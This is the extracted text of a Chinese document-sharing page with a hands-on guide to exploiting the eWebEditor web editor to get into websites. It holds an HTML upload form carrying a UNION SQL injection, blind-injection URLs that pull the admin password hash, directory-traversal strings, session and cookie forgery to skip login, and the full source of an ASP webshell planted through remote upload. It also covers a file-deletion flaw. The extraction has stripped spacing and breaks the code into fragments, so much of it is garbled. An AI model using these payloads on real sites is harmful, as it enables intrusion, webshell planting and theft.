ewebeditor漏洞利用总结Word格式.docx
- 文档编号:17597630
- 上传时间:2022-12-07
- 格式:DOCX
- 页数:5
- 大小:20.75KB
ewebeditor漏洞利用总结Word格式.docx
《ewebeditor漏洞利用总结Word格式.docx》由会员分享,可在线阅读,更多相关《ewebeditor漏洞利用总结Word格式.docx(5页珍藏版)》请在冰豆网上搜索。
同样,如果遇到一个管理员有安全意识的,从代码里,把.asp.asa.cer.cdx都完全禁止了,我们也可以用.asasaa后缀来突破。
添加完了后缀,可以在样式管理,点击预览,然后上传!
5、默认管理页不存在!
在实际入侵过程中,有很多默认的管理页不存在的时候。
我们可以直接访问样式管理页面ewebeditor/admin_style.asp然后用第4步的方式拿webshell。
如果样式管理页也不存在的话,我们可以看数据库内的样式表(ewebeditor_style)里面有没有比我们先进去的朋友留下的样式。
然后构造上传!
具体url如下:
eWebEditor/ewebeditor.asp?
id=content&
style=www红色部分是我们发现被修改添加了asa后缀的样式名,大家自行修改!
6、ewebeditor的几个版本存在注入!
ewebeditor以前版本都存在注入ewebeditor/ewebeditor.asp?
id=article_content&
style=Full_v200!
添加验证字符串,和管理员字段可以跑出管理员的md5加密密码!
ewebeditorv2.1.6存在注入,可以用unionselect添加上传后缀进行上传!
先贴漏洞利用方式!
--------------------------------------------------------------------------------------------------------------<
H3>
ewebeditorasp版2.1.6上传漏洞利用程序----<
/H3>
<
formaction="
xxx/ewebeditor/upload.asp?
action=save&
type=IMAGE&
style=standard'
unionselectS_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]%2b'
|cer'
S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrlfromewebeditor_stylewheres_name='
standard'
and'
a'
='
a"
method=postname=myformenctype="
multipart/form-data"
>
inputtype=filename=uploadfilesize=100>
inputtype=submitvalue=Fuck>
/form>
--------------------------------------------------------------------------------------------------------------以上代码令存为html!
修改红色部分的路径,然后自动上传.cer文件!
漏洞原因是因为sStyleName变量直接从style中读取,并没有过滤,所以可以包含任意字符!
用select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提示出错!
在sStyleName变量中用union来构造记录,我们可以在sAllowExt中加入"
|cer"
、"
|asa"
等!
另外还有一些版本的ewebeditor的upload.asp文件存在注入漏洞!
贴几个注入用的url!
信息错误则返回脚本出错的提示,在浏览器左下角!
具体利用如下:
ewebeditor/Upload.asp?
type=FILE&
style=standard_coolblue1'
and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>
98%20and%20'
1'
1注意修改红色部分的字段名、位数、ascii码的值!
7、目录遍历漏洞!
这里大概说一下!
目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp高版本的是ewebeditor/admin/upload.asp文件!
这个文件有的不需要登陆验证,有些需要!
很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改!
这种情况下,唯一可以利用的也就是利用遍历目录功能查看网站文件,比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等!
这些都自由发挥了!
说下漏洞利用方法!
漏洞利用方式如下:
在上传文件管理页面随便选择一个上传样式!
比如ewebeditor/admin_uploadfile.asp?
id=14在id后面添加&
dir=../..类似如下:
webeditor/admin_uploadfile.asp?
id=14&
dir=../../../../data/可以看到网站数据库的路径!
另外一个遍历目录的漏洞文件是ewebeditor/asp/browse.asp漏洞代码为:
FunctionGetList()Dims_List,s_Urls_List="
"
DimoFSO,oUploadFolder,oUploadFiles,oUploadFile,sFileName'
Response.WritesCurrDir'
OnErrorResumeNextSetoFSO=Server.CreateObject("
Scripting.FileSystemObject"
)SetoUploadFolder=oFSO.GetFolder(Server.MapPath(sCurrDir))'
注意一下sCurrDir变量,这个值等下我们可以用到IfErr.Number>
0Thens_List="
ExitFunctionEndIf
IfsDir<
"
ThenIfInstrRev(sDir,"
/"
)>
1Thens_Url=Left(sDir,InstrRev(sDir,"
)-1)Elses_Url="
EndIf
s_List=s_List&
&
_"
.."
EndIf'
Response.WritesDir&
!
&
s_List
DimoSubFolderForEachoSubFolderInoUploadFolder.SubFolders'
Response.WriteoUploadFolder.SubFoldersIfsDir="
Thens_Url=oSubFolder.NameElses_Url=sDir&
oSubFolder.NameEndIfs_List=s_List&
oSubFolder.Name&
Next'
Response.Writes_List
SetoUploadFiles=oUploadFolder.Files
ForEachoUploadFileInoUploadFiles'
Response.WriteoUploadFile.NamesFileName=oUploadFile.NameIfCheckValidExt(sFileName)=TrueThen'
这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了IfsDir="
Thens_Url=sContentPath&
sFileNameElses_Url=sContentPath&
sDir&
sFileNameEndIf
FileName2Pic(sFileName)&
sFileName&
GetSizeUnit(oUploadFile.size)&
EndIfNextSetoUploadFolder=NothingSetoUploadFiles=Nothing'
Response.WriteServerEncode(s_List)&
s_Url
IfsDir="
Thens_Url="
'
s_Url="
Elses_Url="
s_List=HTML2JS(s_List)'
s_Urls_List="
parent.setDirList("
s_List&
"
s_Url&
)"
GetList=s_ListEndFunction'
如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名FunctionCheckValidExt(s_FileName)IfsAllowExt="
ThenCheckValidExt=TrueExitFunctionEndIf
Dimi,aExt,sExtsExt=LCase(Mid(s_FileName,InStrRev(s_FileName,"
."
)+1))CheckValidExt=FalseaExt=Split(LCase(sAllowExt),"
|"
)Fori=0ToUBound(aExt)IfaExt(i)=sExtThenCheckValidExt=TrueExitFunctionEndIfNextEndFunction'
我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的SubInitParam()sType=UCase(Trim(Request.QueryString("
type"
)))sStyleName=Trim(Request.QueryString("
style"
))
Dimi,aStyleConfig,bValidStylebValidStyle=FalseFori=1ToUbound(aStyle)aStyleConfig=Split(aStyle(i),"
|||"
)IfLcase(sStyleName)=Lcase(aStyleConfig(0))ThenbValidStyle=TrueExitForEndIfNext
IfbValidStyle=FalseThenOutScript("
alert('
InvalidStyle.'
)EndIf
sBaseUrl=aStyleConfig(19)'
nAllowBrowse=CLng(aStyleConfig(43))nAllowBrowse=1
IfnAllowBrowse<
1ThenOutScript("
Donotallowbrowse!
'
sUploadDir=aStyleConfig(3)IfLeft(sUploadDir,1)<
ThenSelectCasesTypeCase"
REMOTE"
sUploadDir="
../../"
sUploadDir&
Image/"
Case"
FILE"
Other/"
MEDIA"
Media/"
FLASH"
Flash/"
CaseElsesUploadDir="
EndSelectEndIf'
sUploadDir=sUploadDir&
SelectCasesBaseUrlCase"
0"
sContentPath=aStyleConfig(23)SelectCasesTypeCase"
sContentPath="
../"
aStyleConfig(3)&
CaseElsesContentPath="
EndSelectCase"
1"
sContentPath=RelativePath2RootPath(sUploadDir)Case"
2"
sContentPath=RootPath2DomainPath(RelativePath2RootPath(sUploadDir))EndSelect
SelectCasesTypeCase"
sAllowExt=aStyleConfig(10)Case"
sAllowExt=aStyleConfig(6)Case"
sAllowExt=aStyleConfig(9)Case"
sAllowExt=aStyleConfig(7)CaseElsesAllowExt=aStyleConfig(8)EndSelect
sCurrDir=sUploadDir'
注意这里,这个是得到了配置的路径地址sDir=Trim(Request("
dir"
))'
得到dir变量sDir=Replace(sDir,"
\"
)'
对dir变量进行过滤sDir=Replace(sDir,"
)sDir=Replace(sDir,"
./"
)IfsDir<
ThenIfCheckValidDir(Server.Mappath(sUploadDir&
sDir))=TrueThensCurrDir=sUploadDir&
重点就在这里了,看到没有,当sUploadDir&
sDir存在的时候,sCurrDir就为sUploadDir&
sDir的值了'
虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出ElsesDir="
EndIfEndIfEndSub利用方式如下:
site/ewebeditor/asp/browse.asp?
style=standard650&
dir=…././/…././/admin这样子就可以看到admin的内容了。
构造特殊的dir绕过上面的验证!
页面空白的时候查看源代码,就可以看到目录列表了!
8、session欺骗漏洞!
适用于一些设置不当的虚拟主机。
当旁注得到一个webshell,而目标站存在ewebeditor却不能找到密码的时候可以尝试欺骗进入后台!
顺序如下:
新建一个.asp文件,内容如下:
%Session("
eWebEditor_User"
)="
123132323"
%>
然后访问这个文件,再访问ewebeditor/admin_default.asp!
欺骗进入后台!
不过很老了!
9、后台跳过认证漏洞!
访问后台登陆页面!
随便输入帐号密码,返回错误!
然后清空浏览器,在地址栏输入javascript:
alert(document.cookie="
adminuser="
+escape("
admin"
));
javascript:
adminpass="
admindj="
然后再清空地址栏,在路径里输入后台登陆后的页面,比如:
admin_default.aspadmin/default.asp等。
直接进入后台,利用方式见上文!
10、利用远程上传功能!
比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url比如:
site/1.gif.asp!
然后选择上传远程文件!
自动就把1.gif.asp保存在上传目录内!
注:
网上的东西大部分传来传去,这个办法愚弄自己还成!
文件的确显示后缀为.asp但是不能访问,因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有!
而且gif的内容就是我们这个url的路径!
呵呵,后来又看到一个利用方式!
是利用远程搜集的时候执行,我们文件的代码生成另外的小马!
利用代码如下:
首先建立1.gif.asp代码如下<
%Setfs=CreateObject("
)SetMyTextStream=fs.OpenTextFile(server.MapPath("
\akteam.asp"
),1,false,0)Thetext=MyTextStream.ReadAllresponse.writethetext%>
在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马:
%onerrorresumenext%>
%ofso="
scripting.filesystemobject"
%setfso=server.createobject(ofso)%>
%path=request("
path"
)%>
%ifpath<
then%>
%data=request("
dama"
%setdama=fso.createtextfile(path,true)%>
%dama.writedata%>
%iferr=0then%>
%="
success"
%else%>
false"
%endif%>
%err.clear%>
%dama.close%>
%setdama=nothing%>
%setfos=nothing%>
<
formaction='
method=post>
inputtype=textname=path>
%=server.mappath(request.servervariables("
script_name"
))%>
textareaname=damacols=50rows=10width=30>
/textarea>
inputtype=submitvalue=save>
利用上面说的远程上传的方式!
可以得到webshell!
成功率取决于,虚拟主机的安全设置!
11、任意文件删除漏洞!
此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!
看代码'
把带"
的字符串转为数组DimaSavePathFileNameaSavePathFileName=Split(sSavePathFileName,"
删除新闻相关的文件,从文件夹中DimiFori=0ToUBound(aSavePathFileName)'
按路径文件名删除文件CallDoDelFile(aSavePathFileName(i))Next而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName=oRs("
D_SavePathFileName"
)看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:
sSavePathFileName=GetSafeStr(Request.Form("
d_savepat
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- ewebeditor 漏洞 利用 总结